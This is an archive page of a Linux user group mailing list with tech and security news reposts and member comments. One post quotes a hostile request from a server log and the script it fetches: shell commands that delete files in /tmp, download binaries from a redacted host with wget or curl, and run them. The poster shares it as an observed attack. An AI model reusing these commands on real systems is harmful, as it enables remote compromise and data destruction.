- wlug - list.wlug.org.nz

Coalition Including Microsoft, Linux Foundation, GitHub Urge Green Software Development
by Peter Reutemann 31 May '21

31 May '21

'"To help realize the possibility of carbon-free applications, Microsoft, the consultancies Accenture and ThoughtWorks, the Linux Foundation, and Microsoft-owned code-sharing site, GitHub, have launched The Green Software Foundation," reports ZDNet: Announced at Microsoft's Build 2021 developer conference, the foundation is trying to promote the idea of green software engineering - a new field that looks to make code more efficient and reduce carbon emitted from the hardware it's running on... The foundation wants to set standards, best practices and patterns for building green software; nurture the creation of trusted open-source and open-data projects and support academic research; and grow an international community of green software ambassadors. The goal is to help the Information and Communication Technology sector to reduce its greenhouse gas emissions by 45% before 2030. That includes mobile network operators, ISPs, data centers, and all the laptops being snapped up during the pandemic. "We envision a future where carbon-free software is standard - where software development, deployment, and use contribute to the global climate solution without every developer having to be an expert," Erica Brescia, COO of GitHub said in a statement. Microsoft president Brad Smith said "the world confronts an urgent carbon problem." "It will take all of us working together to create innovative solutions to drastically reduce emissions. Microsoft is joining with organizations who are serious about an environmentally sustainable future to drive adoption of green software development to help our customers and partners around the world reduce their carbon footprint." VentureBeat also points out that Microsoft "recently launched a $1 billion Climate Innovation Fund to accelerate the global development of carbon reduction, capture, and removal technologies." But Bloomberg explores the rationale behind the new foundation: Data centers now account for about 1% of global electricity demand, and that's forecast to rise to 3% to 8% in the next decade, the companies said in a statement Tuesday, timed to Microsoft's Build developers conference... While it's tough to determine exactly how much carbon is emitted by individual software programs, groups like the Green Software Foundation examine metrics such as how much electricity is needed, whether microprocessors are being used efficiently, and the carbon emitted in networking. The foundation plans to look at curricula and developing certifications that would give engineers expertise in this space. As with areas like data science and cybersecurity, there will be an opportunity for engineers to specialize in green software development, but everyone who builds software will need at least some background in it, said Jeff Sandquist, a Microsoft vice president for developer relations. "This will be the responsibility of everybody on the development team, much like when we look at security, or performance or reliability," he said. "Building the application in a sustainable way is going to matter."' -- source: https://news.slashdot.org/story/21/05/29/1857226 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Multi-Architecture Hack Attempt
by Lawrence D'Oliveiro 28 May '21

28 May '21

Saw a line like this pop up in the Apache log on my public-facing server from yesterday: "GET /shell?cd+/tmp;rm+-rf+*;wget+ «redacted»/jaws;sh+/tmp/jaws" I checked, and the file it is trying to fetch and execute still exists. It consists of about a dozen lines, all of this form: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget «redacted»/z0r0.«ext»; curl -O «redacted»/z0r0.«ext»; cat z0r0.«ext» >zeros6x; chmod +x *; ./zeros6x jaws.exploit all differing only in «ext», with values like “mips” and “mpsl” and “ppc”, “arm”, “arm5”, “arm6”, “arm7”, even “m68k”, plus of course “x86” and “i686”.

1 0

US Patent Office To Standardize On DOCX
by Lawrence D'Oliveiro 28 May '21

28 May '21

The US Patent Office will henceforth only accept submissions in Microsoft DOCX, aka ISO 29500 format <https://www.theregister.com/2021/05/27/uspto_pdf_charge/>. I agree that trying to do automatic processing of PDF submissions must have been a pain, but why not accept ODF, aka ISO 26300, as well, or even as the preferred format? It should be easier to deal with.

1 1

Why Does Windows Need To Reboot For Updates?
by Lawrence D'Oliveiro 28 May '21

28 May '21

Came across this blog posting from a Microsoft employee <https://devblogs.microsoft.com/oldnewthing/20151211-00/?p=92501> from a few years ago, which manages to address, yet avoid, the issue of Windows needing reboots to properly apply updates. Note the question: “Hasn’t the problem of updates being partially installed until the next reboot already been solved by changes in Windows?” The answer begins: This is, to a large extent, true. Modern versions of Windows use Component-Based Servicing (CBS). This technology makes sure that new Windows components, and new versions of existing components, are installed atomically. In other words, if it is possible to install or update a component without a reboot, CBS does so. If it is not possible (because one or more files are in use, or because the component requires more complicated setup), then the entire installation of the component is automatically suspended until the next reboot. However, it then continues to point out that many subsystems do not use this “CBS” technology, notable ones being drivers and Microsoft Office. And also remember, it doesn’t seem possible to replace components being, by running services. Can’t you fix this by stopping and restarting the affected services? On Linux, this is the obvious solution. Yet it never even occurs to this Microsoft engineer: Second, even setting the “Does the update do the right thing before the reboot?” problem aside, CBS itself creates another problem in this scenario. Since many Windows updates wind up getting their processing delayed until the reboot, that reboot itself can take longer (since all those pending operations then get performed). And in an environment where The Machine Simply Must Work, this means that the consequences of an accidental/unplanned reboot can be even worse.

1 0

Comcast Subscriber Receives DMCA Notice For Downloading Ubuntu
by Peter Reutemann 28 May '21

28 May '21

'TorrentFreak reports: Every day, people who download and share pirated content receive DMCA notices via their ISPs, warning them to cease and desist their infringing behavior. While the majority of these notices are accurate, one Ubuntu user says he has just been targeted by an anti-piracy company alleging that by torrenting an OS ISO released by Ubuntu itself, he breached copyright law. Posting to Reddit's /r/linux sub-Reddit, a forum with more than 656K subscribers, 'NateNate60' reported the unthinkable. After downloading an official Ubuntu ISO package (filename ubuntu-20.04.2.0-desktop-amd64.iso) he says he received a notice from Comcast's Infinity claiming that he'd been reported for copyright infringement. "We have received a notification by a copyright owner, or its authorized agent, reporting an alleged infringement of one or more copyrighted works made on or over your Xfinity Internet service," the posted notice reads. NateNate60 wisely redacted the notice to remove the 'Incident Number' and the precise time of the alleged infringement to protect his privacy but the clam was reported filed with Comcast on May 24, 2021. "The copyright owner has identified the IP address associated with your Xfinity Internet account at the time as the source of the infringing works," it continues, adding that NateNate60 should search all of his devices connected to his network and delete the files mentioned in the complaint. The allegedly infringing content is the 64-bit Ubuntu 20.04.2.0 LTS release but the first big question is whether the file is actually the official release from Canonical. Given that the listed hash value is 4ba4fbf7231a3a660e86892707d25c135533a16a and that matches the hash of the official release, mislabeled or misidentified content (wrong hash, mislabeled file etc) appears to be ruled out. Indeed, the same hash value is listed on Ubuntu's very own BitTorrent tracker and according to NateNate60, this is where he downloaded the torrent that led to the DMCA notice. It doesn't get much more official than that. According to the DMCA notice sent by Comcast, the complainant wasn't Ubuntu/Canonical but an anti-piracy company called OpSec Security, which according to its imprint is based in Germany. Presuming the notice is genuine (albeit sent in error), Comcast needs to be informed that mistakes have been made. The ISP has a repeat infringer policy and given the current hostile environment, terminating users is certainly on the agenda. Indeed, the notice states just that.' -- source: https://news.slashdot.org/story/21/05/26/2012228 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 2

Google Says Rowhammer Attacks Are Gaining Range as RAM is Getting Smaller
by Peter Reutemann 28 May '21

28 May '21

'A team of Google security researchers said they discovered a new way to perform Rowhammer attacks against computer memory (RAM) cards that broaden the attack's initial impact. From a report: First detailed in 2014, Rowhammer was a ground-breaking attack that exploited the design of modern RAM cards, where memory cells are stored in grid-like arrangements. The basic principle behind Rowhammer was that a malicious app could perform rapid read/write operations on a row of memory cells. As the cells would shift their values from 0 to 1 and vice versa in a very small time window, this would generate small electromagnetic fields inside the row of "hammered" memory cells. The result of these fields were errors in nearby memory rows that sometimes flipped bits and altered adjacent data. [...] In a research paper published this week, a team of five Google security researchers took Rowhammer attacks to a new level. In a new attack variation named Half-Double, researchers said they managed to carry out a Rowhammer attack that caused bit flips at a distance of two rows from the âoehammeredâ row instead of just one.' -- source: https://tech.slashdot.org/story/21/05/27/1533225 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Waikato DHB Under “Cyber Attack”
by Lawrence D'Oliveiro 27 May '21

27 May '21

According to this report <https://www.nzherald.co.nz/nz/breaking-major-cyber-attack-at-waikato-distri…>, clinical services at all hospitals under the Waikato DHB are being impacted by some “major cyber attack” of unspecified nature (DDOS? Ransomware?), forcing the cancellation of patient appointments. Even their landline phones are not working.

5 14

Vulnerability in VMware product has severity rating of 9.8 out of 10
by Peter Reutemann 27 May '21

27 May '21

'Data centers around the world have a new concern to contend with—a remote code vulnerability in a widely used VMware product. The security flaw, which VMware disclosed and patched on Tuesday, resides in the vCenter Server, a tool used for managing virtualization in large data centers. vCenter Server is used to administer VMware’s vSphere and ESXi host products, which by some rankings are the first and second most popular virtualization solutions on the market. Enlyft, a site that provides business intelligence, shows that more than 43,000 organizations use vSphere. A VMware advisory said that vCenter machines using default configurations have a bug that, in many networks, allows for the execution of malicious code when the machines are reachable on a port that is exposed to the Internet. The vulnerability is tracked as CVE-2021-21985 and has a severity score of 9.8 out of 10.' -- source: https://arstechnica.com/gadgets/2021/05/vulnerability-in-vmware-product-has… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Asahi Linux Dev Reveals 'M1RACLES' Flaw In Apple M1
by Peter Reutemann 27 May '21

27 May '21

'Tom's Hardware reports: Asahi Linux developer Hector Martin has revealed a covert channel vulnerability in the Apple M1 chip that he dubbed M1RACLES, and in the process, he's gently criticized the way security flaws have started to be shared with the public. Martin's executive summary for M1RACLES sounds dire: "A flaw in the design of the Apple Silicon 'M1' chip allows any two applications running under an OS to covertly exchange data between them, without using memory, sockets, files, or any other normal operating system features. This works between processes running as different users and under different privilege levels, creating a covert channel for surreptitious data exchange. [...] The vulnerability is baked into Apple Silicon chips, and cannot be fixed without a new silicon revision." He also noted that this was the result of an intentional decision on Apple's part. "Basically, Apple decided to break the ARM spec by removing a mandatory feature, because they figured they'd never need to use that feature for macOS," he explained. "And then it turned out that removing that feature made it much harder for existing OSes to mitigate this vulnerability." The company would have to make a change on the silicon level with its followup to the M1 to mitigate this flaw. But he also made it clear in the FAQ that Mac owners shouldn't be particularly worried about M1RACLES because that covert channel affects two bits. It can be expanded, and Martin said that transfer rates over 1 MB/s are possible "without much optimization," but any malicious apps that might take advantage of such methods would be far more likely to share information via other channels. Calling this a two-bit vulnerability would be both technically and linguistically correct. It's a real security flaw, sure, but it's unlikely to pose a real threat to Apple's customers.' -- source: https://apple.slashdot.org/story/21/05/26/2112209 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Apple Is Locking Its Components To Particular Systems
by Lawrence D'Oliveiro 27 May '21

27 May '21

This teardown by IFixit of the new M1 Imac <https://www.theregister.com/2021/05/26/m1_imac/> gives it a repairability score of 2 out of 10. This isn’t helped by a new trend in Apple’s hardware: iFixit had a go at swapping the sensors between keyboards and found that while the key part of the sensor worked just fine, the Touch ID bit didn't. Much like the rest of the iDevice family; the Touch ID sensor is paired with its original keyboard. A previous article <https://www.theregister.com/2021/05/25/m1_imac_ifixit_teardown/> reports how far this has already gone with Iphones: If you switch a camera from one iPhone 12 to another, it won't work properly. If you re-use a display panel, Apple will disable TrueTone and warn the owner they're using a non-genuine part, as recently noted by Aussie right-to-repair advocate Hugh Jeffreys.

1 1

Thousands of Chrome Extensions Are Tampering With Security Headers
by Peter Reutemann 27 May '21

27 May '21

'The Record reports: Thousands of Google Chrome extensions available on the official Chrome Web Store are tampering with security headers on popular websites, putting users at risk of a wide range of web-based attacks. While they are a little-known technical detail, security headers are an important part of the current internet landscape. At a technical level, a security header is an HTTP response sent by the server to a client app, such as a browser. [...] In a paper presented at the MADWeb workshop at the NDSS 2021 security conference, researchers from the CISPA Helmholtz Center for Information Security said they tried to assess the number of Chrome extensions tampering with security headers for the very first time. Using a custom framework they built specifically for their study, the research team said they analyzed 186,434 Chrome extensions that were available on the official Chrome Web Store last year. Their work found that 2,485 extensions were intercepting and modifying at least one security header used by today's Top 100 most popular websites (as available in the Tranco list). The study didn't focus on all security headers, but only on the four most common ones, such as: Content-Security Policy (CSP), HTTP Strict-Transport-Security (HSTS), X-Frame-Options, and X-Content-Type-Options. While 2,485 extensions disabled at least one, researchers said they found 553 disabling all the four security headers they analyzed in their research. The most commonly disabled security header was CSP, a security header that was developed to allow site owners to control what web resources a page is allowed to load inside a browser and a typical defense that can protect websites and browsers against XSS and data injection attacks. According to the research team, in most of the cases they analyzed, the Chrome extensions disabled CSP and other security headers "to introduce additional seemingly benign functionalities on the visited webpage," and didn't look to be malicious in nature. However, even if the extensions wanted to enrich a user's experience online, the German academics argued that by tampering with security headers, all the extensions did was to expose users to attacks from other scripts and sites running inside the browser and on the web.' -- source: https://it.slashdot.org/story/21/05/26/0236254 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Vulnerabilities in billions of Wi-Fi devices let hackers bypass firewalls
by Peter Reutemann 24 May '21

24 May '21

'One of the things that makes Wi-Fi work is its ability to break big chunks of data into smaller chunks and combine smaller chunks into bigger chunks, depending on the needs of the network at any given moment. These mundane network plumbing features, it turns out, have been harboring vulnerabilities that can be exploited to send users to malicious websites or exploit or tamper with network-connected devices, newly published research shows. In all, researcher Mathy Vanhoef found a dozen vulnerabilities, either in the Wi-Fi specification or in the way the specification has been implemented in huge numbers of devices. Vanhoef has dubbed the vulnerabilities FragAttacks, short for fragmentation and aggregation attacks, because they all involve frame fragmentation or frame aggregation. Broadly speaking, they allow people within radio range to inject frames of their choice into networks protected by WPA-based encryption.' -- source: https://arstechnica.com/gadgets/2021/05/farewell-to-firewalls-wi-fi-bugs-op… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linux on Chromebooks is Finally Coming Out of Beta
by Peter Reutemann 21 May '21

21 May '21

'Linux on Chromebooks is finally coming out of beta with the release of Chrome OS 91, Google said at its developer I/O conference. From a report: The company had offered Linux apps on Chrome OS alongside Android apps, hoping to reach an audience of developers with IDEs and so on. However, the Linux Development Environment, as Google had dubbed it, had been in beta ever since while first launched. The company had added new features at a steady cadence, enabling things like GPU acceleration, better support for USB drives, and so on so people could be more productive while using Linux apps. Alongside Linux, Google also announced that it would be bringing Android 11 to Chromebooks. Technically, the update has already started with Chrome OS 90 for select Chromebooks, and it'll come with a host of new features including increased optimization of Android apps and a new dark theme. Google's increased support of Android is no coincidence. The company says that the operating system sees 3x increased usage of Android apps, and the new Android 11 update will see Android move to a virtual machine rather than the current container based method, making it easier to update in the future.' -- source: https://linux.slashdot.org/story/21/05/20/143225 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Microsoft Releases SimuLand, a Lab Environment To Simulate Attacker Tradecraft
by Peter Reutemann 21 May '21

21 May '21

'Microsoft today open-sourced a tool that can be used to build lab environments where security teams can simulate attacks and verify the detection effectiveness of Microsoft security products. From a report: Named SimuLand, the tool was specifically built to help security/IT teams that use Microsoft products such as Microsoft 365 Defender, Azure Defender, and Azure Sentinel. Currently, SimuLand comes with only one lab environment, specialized in detecting Golden SAML attacks. However, Microsoft said it's working on adding new ones. Community contributions are also welcomed, and the reason the project has been open-sourced on GitHub, with Microsoft hoping to get a helping hand from the tens of thousands of security teams that run its software. "If you would like to share a new end-to-end attacker path, let us know by opening an issue in our GitHub repository, and we would be happy to collaborate and provide some resources to make it happen," Microsoft said today in a blog post. But Microsoft doesn't want only lab environments specialized in executing well-known techniques or adversary tradecraft. The OS maker is also encouraging the community to contribute improved detection rules for the attacks they're sharing, so everyone can benefit from the shared knowledge.' -- source: https://news.slashdot.org/story/21/05/20/1842259 -- github: https://github.com/Azure/SimuLand -- github: https://github.com/microsoft/CyberBattleSim Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

4 vulnerabilities under attack give hackers full control of Android devices
by Peter Reutemann 20 May '21

20 May '21

'Unknown hackers have been exploiting four Android vulnerabilities that allow the execution of malicious code that can take complete control of devices, Google warned on Wednesday. All four of the vulnerabilities were disclosed two weeks ago in Google’s Android Security Bulletin for May. Google has released security updates to device manufacturers, who are then responsible for distributing the patches to users. Google’s May 3 bulletin initially didn’t report that any of the roughly 50 vulnerabilities it covered were under active exploitation. On Wednesday, Google updated the advisory to say that there are “indications” that four of the vulnerabilities “may be under limited, targeted exploitation.” Maddie Stone, a member of Google’s Project Zero exploit research group, removed the ambiguity. She declared on Twitter that the “4 vulns were exploited in-the-wild” as zero-days.' -- source: https://arstechnica.com/gadgets/2021/05/hackers-have-been-exploiting-4-crit… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

72 Hours From Patch To Exploit
by Lawrence D'Oliveiro 20 May '21

20 May '21

This report <https://www.theregister.com/2021/04/06/sap_patch_attacks/> from software company SAP and security company Onapsis says that, from the moment SAP releases a security patch for its products, it only takes about 72 hours until bad hats have reverse-engineered the patch, figured out the security vulnerability it is meant to fix, and started releasing an exploit to take advantage of that vulnerability. Actually, proof-of-concept code can appear quicker than that. Which leaves customers in a dilemma: continue running patches through their regular QA procedures before deployment, widening the window for exploits to get in, or forego those QA procedures and deploy patches quickly to plug holes while risking breaking production systems? And of course this wouldn’t be unique to SAP ...

1 1

Google Shows Off Android 12's Huge UI Overhaul
by Peter Reutemann 19 May '21

19 May '21

'At Google I/O 2021 today, Google confirmed that Android 12 is getting a huge new design. Ars Technica reports: Google calls the new design "Material You," and just like in the leaks, it's a UI that changes colors like a chameleon. For now, this design will only show up in Google Pixels, but Google says it will roll out across the ecosystem to the web, Chrome OS, smart displays, cars, watches, tablets, and every other Google form factor. The new interface is powered by a "color extraction" API that can pull the colors out of your wallpaper and apply them to the UI. This sounds exactly like the Palette API that was introduced in Android 5.0 (along with the original introduction of Material Design), but it's apparently a second swing at the color extraction idea, and Google is heavily using it in the UI now. The demo interfaces featured customized highlight colors, clock faces, widget backgrounds, and more, all matching the color of your wallpaper. Besides new colors, there are also tons of layout changes to the quick settings and notification panel. The first public beta of Android is now available. Google Pixel smartphones as far back as the Pixel 3 are eligible, as well as several devices from device-maker partners, including ASUS and OnePlus.' -- source: https://tech.slashdot.org/story/21/05/18/2134250 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Google and Samsung Are Merging Wear OS and Tizen
by Peter Reutemann 19 May '21

19 May '21

'Today, Google and Samsung announced that they are merging Wear OS and Tizen in an effort to better compete against Apple's watchOS. "The resulting platform is currently being referred to simply as 'Wear,' though that might not be the final name," notes The Verge. From the report: Benefits of the joint effort include significant improvements to battery life, 30 percent faster loading times for apps, and smoother animations. It also simplifies life for developers and will create one central smartwatch OS for the Android platform. Google is also promising a greater selection of apps and watch faces than ever before. "All device makers will be able to add a customized user experience on top of the platform, and developers will be able to use the Android tools they already know and love to build for one platform and ecosystem," Google's Bjorn Kilburn wrote in a blog post. Wired has more details on what's to come, including the tidbit that Samsung will stick with its popular rotating bezel on future devices -- but it's finished making Tizen-only smartwatches. There will also be a version of Google Maps that works standalone (meaning without your phone nearby) and a YouTube Music app that supports offline downloads. Oh, and Spotify will support offline downloads on Wear smartwatches, as well. Samsung confirmed that its next Galaxy Watch will run on this unified platform. And future "premium" Fitbit devices will also run the software.' -- source: https://tech.slashdot.org/story/21/05/18/2228252 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

System76 Unveils Open Source 'Launch Configurable Keyboard' for Linux, Windows, and macOS
by Peter Reutemann 19 May '21

19 May '21

'System76 today unveiled its newest product -- the "Launch Configurable Keyboard." It is a mechanical keyboard made in the USA with a focus on open source. The Launch has both open source firmware and hardware. Even the configuration software -- which runs on Linux, Windows, and macOS -- is open source. From a report: "With a wide swath of customization options, the Launch is flexible to a variety of needs and use cases. The keyboard's thoughtful design keeps everything within reach, vastly reducing awkward hand contortions. Launch comes with additional keycaps and a convenient keycap puller, meaning one can swap keys based on personal workflow preferences to maximize efficiency. Launch also features a novel split Space Bar, which allows the user to swap out one Space Bar keycap for Shift, Backspace, or Function to reduce hand fatigue while typing. Launch uses only three keycap sizes to vastly expand configuration options," says System76. The keyboard, which has a removable USB-C cable for connectivity, is priced at $285.' -- source: https://news.slashdot.org/story/21/05/13/1727242 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Chrome Now Uses Duplex To Fix Your Stolen Passwords
by Peter Reutemann 19 May '21

19 May '21

'Google announced a new feature for its Chrome browser today that alerts you when one of your passwords has been compromised and then helps you automatically change your password with the help of... wait for it ... Google's Duplex technology. From a report: This new feature will start to roll out slowly to Chrome users on Android in the U.S. soon (with other countries following later), assuming they use Chrome's password-syncing feature. It's worth noting that this won't work for every site just yet. As a Google spokesperson told us, "the feature will initially work on a small number of apps and websites, including Twitter, but will expand to additional sites in the future." Now you may remember Duplex as the somewhat controversial service that can call businesses for you to make hairdresser appointments or check opening times. Google introduced Duplex at its 2018 I/O developer conference and launched it to a wider audience in 2019. Since then, the team has chipped away at bringing Duplex to more tasks and brought it the web, too. Now it's coming to Chrome to change your compromised passwords for you.' -- source: https://tech.slashdot.org/story/21/05/18/182218 Cheers, peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Microsoft Outlook Problem Was Microsoft Word’s Fault
by Lawrence D'Oliveiro 18 May '21

18 May '21

The recent problem Outlook users were having with e-mails turning up blank was due to an interaction with Word <https://www.theregister.com/2021/05/17/outlook_incident_report/>. Why Word? Because management of HTML-format mails in Outlook used to be the responsibility of (an embedded instance of) Internet Explorer, until that was abandoned because of all the security holes. So now Word handles that feature: For those who wonder why Outlook makes it so hard to format emails sensibly when doing things like quoting parts of an email received in the reply and typing in-line comments, or putting the background of the incoming email behind the reply: it is the interaction with Word that is to blame. Fair warning: ... today's Windows and Office 365 users are one bad update away from hours of lost productivity.

1 0

Amid Public Pressure Audacity Says It Will Not Collect Telemetry Data From Users
by Peter Reutemann 18 May '21

18 May '21

'After its recent announcement about plans to add telemetry collection prompted backlash, popular audio editor Audacity has announced it won't go ahead with the plan to collect its users' data. BetaNews reports: Audacity's new owner, Muse Group, has bowed to pressure from users and privacy advocates, announcing that the planned telemetry collection will no longer be going ahead. The company is blaming "communication mistakes" and public "misunderstanding" for the negative response to its previous data collection announcement.' -- source: https://yro.slashdot.org/story/21/05/17/191201 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

AT&T To Spin Off WarnerMedia
by Lawrence D'Oliveiro 18 May '21

18 May '21

Another questionable mega-acquisition bites the dust <https://arstechnica.com/tech-policy/2021/05/att-to-spin-off-warnermedia-wil…>, with AT&T admitting it made a mistake by trying to become a media conglomerate. There is a local element to this story. The company called Discovery, that is planning to buy these assets, also owns Three (aka TV3, aka NewsHub). So there will inevitably be some impact in our own little neck of the woods, though whether that will be for better or worse is the question <https://www.nzherald.co.nz/business/the-spinoff-a-blockbuster-media-deal-co…>.

1 0

Apple’s M1: Throughput Versus Latency
by Lawrence D'Oliveiro 18 May '21

18 May '21

An old lesson gets learned yet again <https://arstechnica.com/gadgets/2021/05/apples-m1-is-a-fast-cpu-but-m1-macs…>: efficiency and responsiveness in a computer system are often at odds, and improving one can hurt the other. We can also see a negative example—one in which the fastest throughput corresponded to distinctly unhappy users—with the circa-2006 introduction of the Completely Fair Queue (cfq) I/O scheduler in the Linux kernel. ... Unfortunately, while cfq did in fact measurably improve maximum throughput, it did so at the increase of task latency—which meant that a moderately loaded system felt sluggish and unresponsive to its users, leading to a large groundswell of complaints.

1 0

WLUG May 24 meeting
by Peter Reutemann 15 May '21

15 May '21

Hi everyone For our WLUG meeting on May 24, I was thinking of an evening aimed at people new to Linux or ones that would like to give it a go. Attendees could bring their laptops and a 4GB+ USB stick to the meeting. Then we can put various OSes on the sticks for them to try (and they don't have to download and dd these themselves). With a bunch of more experienced Linux users there to give them a hand, it should be a more rewarding evening for most newcomers. I would also announce it a bit earlier here at uni then and maybe attract some students. What are your thoughts? Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 4